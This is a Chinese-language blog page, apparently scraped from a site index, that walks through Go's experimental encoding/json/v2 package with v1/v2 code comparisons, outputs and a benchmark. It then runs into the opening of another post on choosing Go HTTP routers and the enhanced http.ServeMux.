\u0026#34;2025-05-06T10:30:00Z\u0026#34;, \u0026#34;precise_time\u0026#34;: \u0026#34;2025-05-14T04:36:26.428316395Z\u0026#34;, \u0026#34;duration\u0026#34;: 8100000000000, \u0026#34;timeout\u0026#34;: 90000000000, \u0026#34;old_duration\u0026#34;: 500000000 } --- Testing Time Unmarshaling (v2) --- Unmarshal error: parsing time \u0026#34;2024-12-25\u0026#34; as \u0026#34;2006-01-02T15:04:05Z07:00\u0026#34;: cannot parse \u0026#34;\u0026#34; as \u0026#34;T\u0026#34; 再来看看v2版的情况，注意v2版在json API上有不同：\n// jsondemo2-v2.go package main import ( \u0026#34;encoding/json/v2\u0026#34; \u0026#34;encoding/json/jsontext\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) type EventData struct { EventName string `json:\u0026#34;event_name\u0026#34;` Timestamp time.Time `json:\u0026#34;timestamp,format:\u0026#39;2006-01-02\u0026#39;\u0026#34;` // v2: 自定义日期格式 PreciseTime time.Time `json:\u0026#34;precise_time,format:RFC3339Nano\u0026#34;` // v2: RFC3339 Nano 格式 Duration time.Duration `json:\u0026#34;duration\u0026#34;` // v2 默认输出 \u0026#34;1h2m3s\u0026#34; 格式 Timeout time.Duration `json:\u0026#34;timeout,format:sec\u0026#34;` // v2: 以秒为单位的数字 OldDuration time.Duration `json:\u0026#34;old_duration,format:nano\u0026#34;` // v2: 兼容v1的纳秒数字 } func main() { fmt.Println(\u0026#34;--- Testing Time and Duration Marshaling (v2) ---\u0026#34;) event := EventData{ EventName: \u0026#34;System Update\u0026#34;, Timestamp: time.Date(2025, 5, 6, 10, 30, 0, 0, time.UTC), PreciseTime: time.Now(), Duration: time.Hour*2 + time.Minute*15, Timeout: time.Second * 90, OldDuration: time.Millisecond * 500, } jsonData, err := json.Marshal(event, json.Deterministic(true)) //jsonData, err := json.MarshalIndent(event, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) if err != nil { fmt.Println(\u0026#34;Marshal error:\u0026#34;, err) return } fmt.Println(\u0026#34;Marshaled JSON (v2 expected):\\n\u0026#34;, string(jsonData)) (*jsontext.Value)(\u0026amp;jsonData).Indent() // indent for readability fmt.Println(string(jsonData)) fmt.Println(\u0026#34;\\n--- Testing Time Unmarshaling (v2) ---\u0026#34;) inputTimeJSON := `{\u0026#34;event_name\u0026#34;:\u0026#34;Test Event\u0026#34;, \u0026#34;timestamp\u0026#34;:\u0026#34;2024-12-25\u0026#34;, \u0026#34;precise_time\u0026#34;:\u0026#34;2024-12-25T08:30:05.123456789Z\u0026#34;, \u0026#34;duration\u0026#34;:\u0026#34;30m\u0026#34;, \u0026#34;timeout\u0026#34;:120, \u0026#34;old_duration\u0026#34;: 700000000}` var decodedEvent EventData err = json.Unmarshal([]byte(inputTimeJSON), \u0026amp;decodedEvent) if err != nil { fmt.Println(\u0026#34;Unmarshal error:\u0026#34;, err) } else { fmt.Printf(\u0026#34;Unmarshaled Event (v2 expected): %+v\\n\u0026#34;, decodedEvent) } } 运行v2版的结果如下：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo2-v2.go --- Testing Time and Duration Marshaling (v2) --- Marshaled JSON (v2 expected): {\u0026#34;event_name\u0026#34;:\u0026#34;System Update\u0026#34;,\u0026#34;timestamp\u0026#34;:\u0026#34;2025-05-06\u0026#34;,\u0026#34;precise_time\u0026#34;:\u0026#34;2025-05-14T04:43:16.476817544Z\u0026#34;,\u0026#34;duration\u0026#34;:\u0026#34;2h15m0s\u0026#34;,\u0026#34;timeout\u0026#34;:90,\u0026#34;old_duration\u0026#34;:500000000} { \u0026#34;event_name\u0026#34;: \u0026#34;System Update\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2025-05-06\u0026#34;, \u0026#34;precise_time\u0026#34;: \u0026#34;2025-05-14T04:43:16.476817544Z\u0026#34;, \u0026#34;duration\u0026#34;: \u0026#34;2h15m0s\u0026#34;, \u0026#34;timeout\u0026#34;: 90, \u0026#34;old_duration\u0026#34;: 500000000 } --- Testing Time Unmarshaling (v2) --- Unmarshaled Event (v2 expected): {EventName:Test Event Timestamp:2024-12-25 00:00:00 +0000 UTC PreciseTime:2024-12-25 08:30:05.123456789 +0000 UTC Duration:30m0s Timeout:2m0s OldDuration:700ms} 对比上面的运行结果，我们看到：\nV1版本(普通 go run):** format标签无效，Timestamp 因非 RFC3339格式(“2006-01-02T15:04:05Z07:00″) 而解析失败；Duration 和 Timeout 会序列化/反序列化为纳秒数字。\nV2版本(GOEXPERIMENT=jsonv2 gotip run): format 标签在 time.Time 和 time.Duration 上都生效了，提供了极大的灵活性。Duration 默认的字符串表示也更易读。\nomitempty 行为调整与 omitzero 引入 omitempty 标签在 v1 和 v2 中的行为定义有所不同。v1 主要基于 Go 类型的零值判断，而 v2 则更侧重于字段编码后的 JSON 值是否为空（如 null, “”, {}, []）。为了更好地处理 Go 零值的省略，v2 引入（并已向后移植到 v1.24+）了 omitzero 标签。\n我们先看v1版本中omitempty和omitzero的语义：\n// jsondemo3-v1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Config struct { Enabled bool `json:\u0026#34;enabled,omitempty\u0026#34;` // v1: false 时省略; v2: false 不编码为JSON空则不省略 Count int `json:\u0026#34;count,omitempty\u0026#34;` // v1: 0 时省略; v2: 0 不编码为JSON空则不省略 Name string `json:\u0026#34;name,omitempty\u0026#34;` // v1 \u0026amp; v2: \u0026#34;\u0026#34; 时省略 Description *string `json:\u0026#34;description,omitempty\u0026#34;` // v1 \u0026amp; v2: nil 时省略 IsSet bool `json:\u0026#34;is_set,omitzero\u0026#34;` // v1(1.24+)/v2: false 时省略 Port int `json:\u0026#34;port,omitzero\u0026#34;` // v1(1.24+)/v2: 0 时省略 APIKey *string `json:\u0026#34;api_key,omitzero\u0026#34;` // v1(1.24+)/v2: nil 时省略 } func main() { fmt.Println(\u0026#34;--- Testing omitempty/omitzero ---\u0026#34;) emptyConf := Config{} // All zero values descValue := \u0026#34;\u0026#34; emptyConfWithEmptyStringPtr := Config{Description: \u0026amp;descValue, APIKey: \u0026amp;descValue} jsonDataV1, _ := json.MarshalIndent(emptyConf, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) fmt.Println(\u0026#34;V1 (go run) - Empty Config:\\n\u0026#34;, string(jsonDataV1)) jsonDataV1Ptr, _ := json.MarshalIndent(emptyConfWithEmptyStringPtr, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) fmt.Println(\u0026#34;V1 (go run) - Empty Config with Empty String Ptr:\\n\u0026#34;, string(jsonDataV1Ptr)) } 上面代码在Go 1.24.1下运行输出如下：\n$go run jsondemo3-v1.go --- Testing omitempty/omitzero --- V1 (go run) - Empty Config: {} V1 (go run) - Empty Config with Empty String Ptr: { \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;api_key\u0026#34;: \u0026#34;\u0026#34; } 接下来，我们再看看v2版本的代码和输出结果：\n// jsondemo3-v2.go package main import ( \u0026#34;encoding/json/jsontext\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;fmt\u0026#34; ) type Config struct { Enabled bool `json:\u0026#34;enabled,omitempty\u0026#34;` // v1: false 时省略; v2: false 不编码为JSON空则不省略 Count int `json:\u0026#34;count,omitempty\u0026#34;` // v1: 0 时省略; v2: 0 不编码为JSON空则不省略 Name string `json:\u0026#34;name,omitempty\u0026#34;` // v1 \u0026amp; v2: \u0026#34;\u0026#34; 时省略 Description *string `json:\u0026#34;description,omitempty\u0026#34;` // v1 \u0026amp; v2: nil 时省略 IsSet bool `json:\u0026#34;is_set,omitzero\u0026#34;` // v1(1.24+)/v2: false 时省略 Port int `json:\u0026#34;port,omitzero\u0026#34;` // v1(1.24+)/v2: 0 时省略 APIKey *string `json:\u0026#34;api_key,omitzero\u0026#34;` // v1(1.24+)/v2: nil 时省略 } func main() { fmt.Println(\u0026#34;--- Testing omitempty/omitzero ---\u0026#34;) emptyConf := Config{} // All zero values descValue := \u0026#34;\u0026#34; emptyConfWithEmptyStringPtr := Config{Description: \u0026amp;descValue, APIKey: \u0026amp;descValue} jsonDataV2, _ := json.Marshal(emptyConf) (*jsontext.Value)(\u0026amp;jsonDataV2).Indent() // indent for readability fmt.Println(\u0026#34;V2 (go run) - Empty Config:\\n\u0026#34;, string(jsonDataV2)) jsonDataV2Ptr, _ := json.Marshal(emptyConfWithEmptyStringPtr) (*jsontext.Value)(\u0026amp;jsonDataV2Ptr).Indent() // indent for readability fmt.Println(\u0026#34;V2 (go run) - Empty Config with Empty String Ptr:\\n\u0026#34;, string(jsonDataV2Ptr)) } 在gotip下上述代码输出如下：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo3-v2.go --- Testing omitempty/omitzero --- V2 (go run) - Empty Config: { \u0026#34;enabled\u0026#34;: false, \u0026#34;count\u0026#34;: 0 } V2 (go run) - Empty Config with Empty String Ptr: { \u0026#34;enabled\u0026#34;: false, \u0026#34;count\u0026#34;: 0, \u0026#34;api_key\u0026#34;: \u0026#34;\u0026#34; } 对比一下输出，可以看到：\nV1: Enabled:false 和 Count:0 会被 omitempty 省略。Description为nil时也会被 omitempty 省略。 V2: omitempty 的行为与 v1 不同。对于 Enabled:false 和 Count:0，omitempty 不会省略它们。而 omitzero 则会按 Go 的零值规则省略 IsSet:false, Port:0。*Description是 “” (JSON空字符串)，所以也会被 omitempty 省略。但api_key因非空，不会被omitzero省略。 我们看到改进后的V2版本使得开发者能更精确地控制字段的省略条件。\nNil Slice/Map 的默认序列化行为 v1 版本将 nil 的 slice 和 map 序列化为 JSON null。而 json/v2 为了更符合多数场景的预期，默认将它们序列化为空数组 [] 和空对象 {}，同时也提供了 format:emitnull 标签选项以兼容旧行为或特定需求。\n我们先来看看v1版本的序列化行为：\n// jsondemo4-v1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Data struct { Tags []string `json:\u0026#34;tags\u0026#34;` // nil slice Attrs map[string]string `json:\u0026#34;attrs\u0026#34;` // nil map MaybeTags []string `json:\u0026#34;maybe_tags,format:emitnull\u0026#34;` // v2: 强制为 null MaybeAttrs map[string]string `json:\u0026#34;maybe_attrs,format:emitnull\u0026#34;` // v2: 强制为 null } func main() { fmt.Println(\u0026#34;--- Testing Nil Slice/Map Serialization ---\u0026#34;) d := Data{} // Tags 和 Attrs 都是 nil jsonData, _ := json.MarshalIndent(d, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) fmt.Println(\u0026#34;Serialized Output (run with go and gotip to compare):\\n\u0026#34;, string(jsonData)) } 运行v1版的结果如下：\n--- Testing Nil Slice/Map Serialization --- Serialized Output (run with go and gotip to compare): { \u0026#34;tags\u0026#34;: null, \u0026#34;attrs\u0026#34;: null, \u0026#34;maybe_tags\u0026#34;: null, \u0026#34;maybe_attrs\u0026#34;: null } 再来看看v2版的示例：\npackage main import ( \u0026#34;encoding/json/jsontext\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;fmt\u0026#34; ) type Data struct { Tags []string `json:\u0026#34;tags\u0026#34;` // nil slice Attrs map[string]string `json:\u0026#34;attrs\u0026#34;` // nil map MaybeTags []string `json:\u0026#34;maybe_tags,format:emitnull\u0026#34;` // v2: 强制为 null MaybeAttrs map[string]string `json:\u0026#34;maybe_attrs,format:emitnull\u0026#34;` // v2: 强制为 null } func main() { fmt.Println(\u0026#34;--- Testing Nil Slice/Map Serialization ---\u0026#34;) d := Data{} // Tags 和 Attrs 都是 nil jsonData, _ := json.Marshal(d, json.Deterministic(true)) (*jsontext.Value)(\u0026amp;jsonData).Indent() // indent for readability fmt.Println(\u0026#34;Serialized Output (run with go and gotip to compare):\\n\u0026#34;, string(jsonData)) } v2版的运行结果如下：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo4-v2.go --- Testing Nil Slice/Map Serialization --- Serialized Output (run with go and gotip to compare): { \u0026#34;tags\u0026#34;: [], \u0026#34;attrs\u0026#34;: {}, \u0026#34;maybe_tags\u0026#34;: null, \u0026#34;maybe_attrs\u0026#34;: null } 通过对比，我们看到V2版本的改进：** 默认将 nil slice/map 序列化为 [] 和 {}，这通常更符合前端或其他语言消费者的预期。同时提供 format:emitnull 兼容旧行为或特定需求。\n强大的新 Struct Tag Options: inline 和 unknown json/v2 引入了多个强大的新标签选项，极大地增强了对结构体序列化和反序列化行为的控制能力。我们来看两个例子：inline 和 unknown。\ninline选项 inline这个选项允许我们将一个内嵌（或普通）结构体字段的 JSON 表示“提升”到其父结构体中，而不是作为一个嵌套对象。\n// jsondemo5-inline-v1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Address struct { Street string `json:\u0026#34;street\u0026#34;` City string `json:\u0026#34;city\u0026#34;` } type Person struct { Name string `json:\u0026#34;name\u0026#34;` Address Address `json:\u0026#34;address,inline\u0026#34;` // v2 支持 } func main() { fmt.Println(\u0026#34;--- Testing \u0026#39;inline\u0026#39; Tag ---\u0026#34;) p := Person{ Name: \u0026#34;Tony Bai\u0026#34;, Address: Address{Street: \u0026#34;123 Go Ave\u0026#34;, City: \u0026#34;Gopher City\u0026#34;}, } jsonData, _ := json.MarshalIndent(p, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) fmt.Println(\u0026#34;Serialized Person (v2 expected with inline):\\n\u0026#34;, string(jsonData)) } 用Go 1.24.1运行上面示例，输出如下：\n$go run jsondemo5-inline-v1.go --- Testing \u0026#39;inline\u0026#39; Tag --- Serialized Person (v2 expected with inline): { \u0026#34;name\u0026#34;: \u0026#34;Tony Bai\u0026#34;, \u0026#34;address\u0026#34;: { \u0026#34;street\u0026#34;: \u0026#34;123 Go Ave\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Gopher City\u0026#34; } } 再来看一下v2版的示例代码：\n// jsondemo5-inline-v2.go package main import ( \u0026#34;encoding/json/jsontext\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;fmt\u0026#34; ) type Address struct { Street string `json:\u0026#34;street\u0026#34;` City string `json:\u0026#34;city\u0026#34;` } type Person struct { Name string `json:\u0026#34;name\u0026#34;` Address Address `json:\u0026#34;,inline\u0026#34;` // v2 支持 } func main() { fmt.Println(\u0026#34;--- Testing \u0026#39;inline\u0026#39; Tag ---\u0026#34;) p := Person{ Name: \u0026#34;Tony Bai\u0026#34;, Address: Address{Street: \u0026#34;123 Go Ave\u0026#34;, City: \u0026#34;Gopher City\u0026#34;}, } jsonData, _ := json.Marshal(p, json.Deterministic(true)) (*jsontext.Value)(\u0026amp;jsonData).Indent() // indent for readability fmt.Println(\u0026#34;Serialized Person (v2 expected with inline):\\n\u0026#34;, string(jsonData)) } 使用gotip运行该示例：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo5-inline-v2.go --- Testing \u0026#39;inline\u0026#39; Tag --- Serialized Person (v2 expected with inline): { \u0026#34;name\u0026#34;: \u0026#34;Tony Bai\u0026#34;, \u0026#34;street\u0026#34;: \u0026#34;123 Go Ave\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Gopher City\u0026#34; } 对比两个输出结果，我们可以看到：v2版本通过inline标签将Address字段提升到了上一个父层次了，其字段直接作为父层次的字段，而不是作为一个单独的json object。\nunknown选项 unknown这个选项允许我们将 JSON 对象中未在 Go 结构体中明确定义的字段捕获到一个指定的 map 或 jsontext.Value 类型的字段中，而不是像 v1 那样默认丢弃它们。\n老规矩，我们还是先来看v1版本的行为：\n// jsondemo5-unknown-v1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type Item struct { ID string `json:\u0026#34;id\u0026#34;` KnownData string `json:\u0026#34;known_data\u0026#34;` UnknownFields map[string]json.RawMessage `json:\u0026#34;,unknown\u0026#34;` // v2 支持 } func main() { fmt.Println(\u0026#34;--- Testing \u0026#39;unknown\u0026#39; Tag ---\u0026#34;) inputJSON := `{\u0026#34;id\u0026#34;:\u0026#34;item1\u0026#34;,\u0026#34;known_data\u0026#34;:\u0026#34;some data\u0026#34;,\u0026#34;new_field\u0026#34;:\u0026#34;value for new field\u0026#34;,\u0026#34;another_unknown\u0026#34;:123, \u0026#34;obj_field\u0026#34;:{\u0026#34;nested\u0026#34;:true}}` var item Item err := json.Unmarshal([]byte(inputJSON), \u0026amp;item) if err != nil { fmt.Println(\u0026#34;Unmarshal error:\u0026#34;, err) return } fmt.Printf(\u0026#34;Unmarshaled Item: %+v\\n\u0026#34;, item) if item.UnknownFields != nil { fmt.Println(\u0026#34;Captured Unknown Fields:\u0026#34;) for k, v := range item.UnknownFields { fmt.Printf(\u0026#34; %s: %s\\n\u0026#34;, k, string(v)) } } } 运行该示例：\n$go run jsondemo5-unknown-v1.go --- Testing \u0026#39;unknown\u0026#39; Tag --- Unmarshaled Item: {ID:item1 KnownData:some data UnknownFields:map[]} 我们看到V1默认会丢弃 new_field, another_unknown, obj_field。\n再来看一下v2版本的示例代码：\n// jsondemo5-unknown-v2.go package main import ( \u0026#34;encoding/json/jsontext\u0026#34; \u0026#34;encoding/json/v2\u0026#34; \u0026#34;fmt\u0026#34; ) type Item struct { ID string `json:\u0026#34;id\u0026#34;` KnownData string `json:\u0026#34;known_data\u0026#34;` UnknownFields map[string]jsontext.Value `json:\u0026#34;,unknown\u0026#34;` } func main() { fmt.Println(\u0026#34;--- Testing \u0026#39;unknown\u0026#39; Tag ---\u0026#34;) inputJSON := `{\u0026#34;id\u0026#34;:\u0026#34;item1\u0026#34;,\u0026#34;known_data\u0026#34;:\u0026#34;some data\u0026#34;,\u0026#34;new_field\u0026#34;:\u0026#34;value for new field\u0026#34;,\u0026#34;another_unknown\u0026#34;:123, \u0026#34;obj_field\u0026#34;:{\u0026#34;nested\u0026#34;:true}}` var item Item err := json.Unmarshal([]byte(inputJSON), \u0026amp;item) if err != nil { fmt.Println(\u0026#34;Unmarshal error:\u0026#34;, err) return } fmt.Printf(\u0026#34;Unmarshaled Item: %+v\\n\u0026#34;, item) if item.UnknownFields != nil { fmt.Println(\u0026#34;Captured Unknown Fields:\u0026#34;) for k, v := range item.UnknownFields { fmt.Printf(\u0026#34; %s: %s\\n\u0026#34;, k, string(v)) } } } 使用gotip运行上述代码：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo5-unknown-v2.go --- Testing \u0026#39;unknown\u0026#39; Tag --- Unmarshaled Item: {ID:item1 KnownData:some data UnknownFields:map[another_unknown:123 new_field:\u0026#34;value for new field\u0026#34; obj_field:{\u0026#34;nested\u0026#34;:true}]} Captured Unknown Fields: another_unknown: 123 obj_field: {\u0026#34;nested\u0026#34;:true} new_field: \u0026#34;value for new field\u0026#34; 我们很直观的看到了V2版本的改进：** unknown 标签使得捕获和处理动态或未预期的 JSON 字段成为可能**。\n性能提升验证 json/v2 的一个重要目标是提升性能，尤其是在处理大型 JSON 对象时。这主要得益于其全新设计的、基于状态机的、更少依赖反射的解析器。\n我们可以创建一个简单的基准测试文件 jsondemo_test.go 来验证这一点：\n// benchmark/jsondemo_test.go package main import ( \u0026#34;encoding/json\u0026#34; //\u0026#34;encoding/json/v2\u0026#34; // 使用gotip运行测试时使用这个v2包 \u0026#34;os\u0026#34; \u0026#34;testing\u0026#34; ) // 假设 swagger.json 文件已下载到当前目录，且内容为一个大型 JSON 对象 const swaggerFile = \u0026#34;swagger.json\u0026#34; func BenchmarkUnmarshalSwagger(b *testing.B) { data, err := os.ReadFile(swaggerFile) if err != nil { b.Fatalf(\u0026#34;Failed to read %s: %v\u0026#34;, swaggerFile, err) } b.ResetTimer() // 重置计时器，忽略文件读取时间 for i := 0; i \u0026lt; b.N; i++ { var out interface{} // 使用 interface{} 简化，实际场景应为具体类型 err := json.Unmarshal(data, \u0026amp;out) if err != nil { b.Fatalf(\u0026#34;Unmarshal failed: %v\u0026#34;, err) } } } 请确保你有一个名为 swagger.json 的较大 JSON 文件在同目录下，这里我们从 Kubernetes 仓库下载一个 OpenAPI 规范文件，大约3.6MB。\n运行基准测试：\nV1 (普通 go test): $ go test -bench . -benchmem goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkUnmarshalSwagger-2 15 69301910 ns/op 11902650 B/op 190568 allocs/op PASS ok demo 1.128s V2 (GOEXPERIMENT=jsonv2 gotip test): $GOEXPERIMENT=jsonv2 gotip test -bench . -benchmem goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkUnmarshalSwagger-2 31 36510027 ns/op 11143039 B/op 163934 allocs/op PASS ok demo 2.112s 通过结果对比，我们看到：在处理类似 Kubernetes OpenAPI 规范这样的大型 JSON文件 时，json/v2 的反序列化性能相较于 v1 能有显著提升（例如，从 60多ms 级别降低到 30多ms 级别），同时内存分配次数也可能有所减少。这对于需要频繁处理大型 JSON 负载的应用（如 API 网关、配置中心、监控数据处理等）来说，无疑是一个重大利好。\n当然，这里仅仅是针对一个场景做的benchmark。不过，从官方的数据来看，多数场景，jsonv2的性能都有大幅提升。\n总结与展望 通过今天的动手实践，我们可以清晰地看到，实验性的 json/v2在行为正确性、功能丰富性、API 易用性和性能方面都带来了令人鼓舞的改进，旨在系统性地解决 encoding/json (v1) 长期以来存在的诸多痛点。\n从更严格的 JSON 规范遵循（如重复键报错、大小写敏感），到更灵活的特性支持（如自定义时间格式、omitzero、inline、unknown 字段），再到底层解析性能的显著提升，json/v2 无疑承载了 Go 社区对于下一代标准库 JSON 包的厚望。\n目前，json/v2 仍然处于 Go 开发分支的实验阶段，并计划在Go 1.25版本中以实验特性落地，由 GOEXPERIMENT=jsonv2 环境变量控制，不建议在生产环境中使用。但通过 gotip，我们可以提前一窥其风采，参与社区讨论，并为未来可能的正式发布做好准备。\n你对 encoding/json 存在哪些痛点？你对 json/v2 的这些改进有什么看法或期待？欢迎在评论区分享你的想法！ 如果你也想亲自动手试试，别忘了点个【赞】和【在看】，并把这篇文章分享给更多 Gopher！\n本文中涉及到的源码可以在下载：https://github.com/bigwhite/experiments/tree/master/jsonv2 。\n想更系统地理解 Go 底层机制，写出更高性能、更地道的 Go 代码？\n今天我们深入探讨了 Go 标准库encoding/json的演进。如果你对 Go 语言的内部实现、性能优化、工程实践以及如何写出更符合 Go 设计哲学的代码感兴趣，希望：\n超越基础，系统性地提升你的 Go 语言技能水平； 深入理解 Go 的设计哲学、并发模型、以及在真实大型项目中的应用与避坑经验； 掌握更多 Go 语言的进阶技巧，解决复杂工程问题，在实践中写出更健壮、更优雅、更高性能的代码； 那么，我诚挚地邀请你关注我在极客时间开设的专栏——《Go语言进阶课》。这门课程专为希望从“会用”Go 进阶到“精通”Go 的开发者设计，内容覆盖了 Go 语言的语法强化、设计先行与工程实践三大领域，包含大量实战案例、底层原理剖析和一线经验总结，旨在助你打通 Go 语言学习的“奇经八脉”，真正实现技术能力的跃迁。\n希望它能成为你 Go 语言精进道路上的得力伙伴！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/15/go-json-v2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-json-v2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/15/go-json-v2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/15/go-json-v2\"\u003ehttps://tonybai.com/2025/05/15/go-json-v2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言标准库中的 encoding/json 包，无疑是我们日常开发中使用频率最高的包之一。它为 Go 社区服务了十多年，几乎无处不在。但与此同时，它也因一些历史遗留的 API 缺陷、行为不一致以及在某些场景下的性能瓶颈而受到过不少讨论和批评。社区中甚至涌现出像Sonic、go-json、easyjson 等一系列高性能的第三方 JSON 库作为替代。\u003c/p\u003e","title":"手把手带你玩转GOEXPERIMENT=jsonv2：Go下一代JSON库初探"},{"content":"从Go路由选择看“标准库优先”：何时坚守？何时拓展？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n从Go路由选择看“标准库优先”：何时坚守？何时拓展？ 五月 14, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/05/14/which-go-router-should-you-use\n大家好，我是 Tony Bai。\n最近，知名 Go 博主 Alex Edwards 更新了他那篇广受欢迎的文章——“Which Go router should I use?”，特别提到了 Go 1.22 版本对标准库 http.ServeMux 的显著增强。这篇文章再次引发了我们对 Go Web 开发中一个经典问题的思考：在选择路由库时，我们应该坚守标准库，还是拥抱功能更丰富的第三方库？\n这个问题，其实并不仅仅关乎路由选择，它更触及了 Go 开发哲学中一个核心原则——“标准库优先” (Standard Library First)。今天，我们就以 Go 路由选择为切入点，聊聊这个原则，以及在实践中我们该如何权衡“坚守”与“拓展”。\n“标准库优先”的魅力何在？ Alex Edwards 在他的文章中旗帜鲜明地提出：“Use the standard library if you can”（如果可以，就用标准库）。这并非空穴来风，而是深深植根于 Go 语言的设计哲学和社区实践。为什么“标准库优先”如此有吸引力？\n简洁性与零依赖：最直接的好处就是减少了项目的外部依赖。正如我们在之前讨论Rust 依赖管理时所看到的，过多的依赖会增加项目的复杂性、构建体积和潜在的安全风险。使用标准库，意味着你的 go.mod 文件更干净，项目更轻盈。 稳定性与兼容性：Go 语言以其著名的“Go 1 兼容性承诺”著称。标准库作为 Go 的核心组成部分，其 API 稳定性和向后兼容性得到了最高级别的保障。这意味着你可以更放心地升级 Go 版本，而不必担心标准库功能发生破坏性变更。 社区熟悉度与维护性：http.ServeMux 是每个 Gopher 都或多或少接触过的。团队成员对其有共同的认知基础，降低了学习成本和沟通成本。同时，标准库由 Go核心团队维护，其质量和响应速度通常更有保障，这对于应用的长期维护至关重要。 性能保障：虽然基准测试中某些第三方路由可能在特定场景下略胜一筹，但标准库的性能通常已经“足够好”，并且在持续优化。正如 Alex 所说，除非性能分析明确指出路由是瓶颈，否则不应过分追求极致性能而牺牲其他优势。 安全性：标准库经过了广泛的审查和实战检验，相对而言，其安全漏洞的风险更低。引入的第三方依赖越少，潜在的攻击面也就越小。 以 Go 1.22+ 的 http.ServeMux 为例，它引入了方法匹配、主机匹配、路径通配符等一系列强大的路由增强功能。这些增强使得标准库路由在很多常见场景下已经能够满足需求，进一步强化了“标准库优先”的底气。\n何时坚守标准库 http.ServeMux？ 在 Go 1.22 及更高版本中，http.ServeMux 的能力得到了显著提升。以下是一些典型的增强功能示例，它们展示了标准库路由的灵活性和强大性，也表明了在哪些场景下坚守标准库是理想的选择：\n中小型 Web 应用或 API 服务：对于大多数标准的 CRUD 操作、简单的业务逻辑，增强后的 http.ServeMux 完全够用。 追求极致简洁和最小依赖的项目：如果项目的核心诉求是轻量、易维护，且对路由功能没有特别复杂的要求。 团队成员对 Go 标准库有良好掌握：可以充分利用团队的现有知识，快速开发和迭代。 内部工具或原型开发：快速搭建，无需引入额外学习成本。 让我们通过一个整合了多种新特性的示例来看看 Go 1.22+ http.ServeMux 的强大：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { mux := http.NewServeMux() // 1. 方法匹配 (Method Matching) mux.HandleFunc(\u0026#34;GET /api/users\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;获取用户列表 (GET)\u0026#34;) }) mux.HandleFunc(\u0026#34;POST /api/users\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;创建新用户 (POST)\u0026#34;) }) // 2. 主机匹配 (Host Matching) mux.HandleFunc(\u0026#34;api.example.com/data\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;来自 api.example.com 的数据服务\u0026#34;) }) mux.HandleFunc(\u0026#34;www.example.com/data\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;来自 www.example.com 的数据展示\u0026#34;) }) // 3. 路径通配符 (Path Wildcards) // 单段通配符 mux.HandleFunc(\u0026#34;GET /users/{id}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { id := r.PathValue(\u0026#34;id\u0026#34;) fmt.Fprintf(w, \u0026#34;用户信息 (GET), 用户ID: %s\u0026#34;, id) }) // 多段通配符 mux.HandleFunc(\u0026#34;/files/{filepath...}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { path := r.PathValue(\u0026#34;filepath\u0026#34;) fmt.Fprintf(w, \u0026#34;文件路径: %s\u0026#34;, path) }) // 4. 结束匹配符 (End Matcher) 与优先级 // 精确匹配根路径 mux.HandleFunc(\u0026#34;/{$}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;精确匹配根路径\u0026#34;) }) // 匹配 /admin 结尾 mux.HandleFunc(\u0026#34;/admin/{$}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;精确匹配 /admin 路径\u0026#34;) }) // 匹配所有 /admin 开头的路径 (注意尾部斜杠，优先级低于精确匹配) mux.HandleFunc(\u0026#34;/admin/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;匹配所有 /admin/ 开头的路径\u0026#34;) }) // 5. 优先级规则：更具体的模式优先 